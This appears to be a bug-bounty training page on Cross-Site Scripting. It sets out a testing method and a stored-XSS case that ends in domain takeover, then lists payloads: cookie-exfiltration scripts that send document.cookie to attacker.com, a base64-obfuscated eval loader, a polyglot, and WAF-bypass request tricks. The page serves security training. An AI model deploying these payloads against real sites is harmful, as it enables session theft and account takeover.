Cross-Site Scripting (XSS)
Code injection in the victim's browser
Quick answer
What is Cross-Site Scripting?
XSS lets you inject malicious scripts into web pages that other users visit. It's one of the most common vulnerabilities and can lead to session theft, defacement, phishing or performing actions as the victim.
Severity
High
Frequency
Very common
Payloads
12
Steps
6
Severity
High
Frequency
Very common
Payloads
12
XSS exists when user input is reflected in the page HTML without proper sanitization. It can be Reflected (in the URL), Stored (saved in the DB) or DOM-based (client-side DOM manipulation). The impact ranges from cookie theft to full account takeover.
Where to look
Reflected text fields
Names, bios, descriptions — any input that shows up on the page. Try a canary: aaaaaa<>"' to see what gets escaped.
URL parameters
Search, redirect and error-message parameters. If the value appears in the response HTML, it's a potential vector.
Contact forms (Blind XSS)
The admin will see your payload when they review the message. Use XSS Hunter or similar to detect delayed execution.
SVG file uploads
SVGs are XML and can contain JavaScript. Many filters allow them because they're 'images'.
Rich text editors
WYSIWYG editors that allow HTML. Try injecting non-standard tags or event attributes.
Global JavaScript objects
Look for window.__NEXT_DATA__, window.CONFIG, window.__INITIAL_STATE__ — they may hold unsanitized data.
Methodology
Identify reflection points
Inject a unique canary (e.g. bb1337test) in every field and find where it appears in the response HTML.
Analyze the context
Are you inside an HTML tag, an attribute, a <script> block or CSS? Each context needs different payloads.
Test escaping
Send special characters: < > " ' / and watch which ones get escaped and which don't.
Adapt the payload
In an attribute: "> to close it. In a script: '; to break the string. In HTML: <script> or event handlers directly.
Confirm execution
Seeing the payload in the source isn't enough — confirm it runs (alert, console.log, or a fetch to your server).
Escalate impact
Go from alert() to: exfiltrating document.cookie, injecting a phishing form, or performing actions with the victim's CSRF token.
Real-world case
Stored XSS in a template name field → Domain Takeover
Delegated access
The attacker has access to the platform as a contractor with limited permissions (access delegated by the victim).
Injection in an 'innocent' field
Inject <img src=x onerror=...> in the 'template name' field — a field nobody audits because it looks descriptive.
Persistence in the DB
The payload is stored in the database. Even if the attacker's access is revoked, the payload persists.
Execution in the victim's context
When the victim duplicates or views the template, the script runs with their authenticated session.
Escalation to Domain Takeover
The script modifies the victim's DNS records, pointing their domain to the attacker's server.
Lesson: 'Descriptive' fields (names, titles, labels) are frequent vectors because developers don't expect HTML there. Payload persistence after access is revoked is an additional risk factor.
Payloads
Basic — img onerror
<img src=x onerror=alert(1)>
Close attribute + SVG
"><svg onload=alert(1)>
Event handler — details
<details open ontoggle=alert(1)>
JavaScript URI
javascript:alert(document.domain)
Inside a JS string
'-alert(1)-'
Animate — no interaction
<svg><animate onbegin=alert(1) attributeName=x dur=1s>
Advanced payloads(account required)
Blind XSS with exfiltration
"><img src=x id=dmFyIGE9ZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgic2NyaXB0Iik7YS5zcmM9Imh0dHBzOi8veHNzaHVudGVyLnlvdXIuaWQiO2RvY3VtZW50LmJvZHkuYXBwZW5kQ2hpbGQoYSk7 onerror=eval(atob(this.id))>
Polyglot XSS
jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert() )//%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert()//>\x3e
SVG file upload
<svg xmlns="http://www.w3.org/2000/svg" onload="fetch('https://attacker.com/'+document.cookie)">math + mglyph bypass
<math><mtext><table><mglyph><style><!--</style><img src=x onerror=alert(1)>
Cookie exfiltration
<script>fetch("https://attacker.com/log?c="+document.cookie)</script>Rich text editor bypass
<</p>iframe src=javascript:alert()//>
Exclusive content
Create your free account to access advanced payloads, scripts and bypass techniques
Create free accountTools
XSS Hunter
Platform to detect Blind XSS. Generates payloads that notify you when they execute.
https://xsshunter.trufflesecurity.com/
Dalfox
Automatic XSS scanner with support for blind XSS and filter bypasses.
dalfox url 'https://target.com/search?q=FUZZ' --blind https://your.xsshunter.id
CSP Evaluator
Analyzes a site's Content Security Policy to find weaknesses.
https://csp-evaluator.withgoogle.com/
WAF Bypass
Oversized body (Cloudflare Free ~8KB)
padding=AAAA[8000+ bytes]&vuln=<script>alert(1)</script>
Header stuffing (>94 headers)
X-Dummy-1: a\nX-Dummy-2: a\n[...92 más...]\nX-Real-Payload: <script>alert(1)</script>
Double boundary in multipart
Content-Type: multipart/form-data; boundary=----Safe; boundary=EVIL\n------EVIL\nContent-Disposition: form-data; name="vuln"\n<script>alert(1)</script>
Charset encoding (EBCDIC)
Content-Type: application/x-www-form-urlencoded; charset=ibm037
Tips
Test EVERY field
Even fields like 'company name' or 'address' can be vulnerable if they're reflected without sanitization.
Blind XSS in contact forms
The admin will see your payload when they review the message. Admin panels usually have less sanitization.
CSP isn't invincible
Look for same-domain JSONP endpoints, or data: URIs if 'unsafe-inline' is allowed.
Post-revocation persistence
If you inject XSS via delegated access, verify the payload persists even after your access is revoked.
PDF generation = server-side XSS
PDF generators (wkhtmltopdf, Puppeteer) execute HTML/JS — they're SSRF vectors via XSS.
Contenido relacionado
- hunters training
- 650
- labs from real reports
- 50
- completions
- 380
- in bounties practiced
- $200,000
hunters training
labs from real reports
completions
in bounties practiced
Practice Cross-Site Scripting with real labs
Apply these techniques in safe environments based on real bug bounty reports.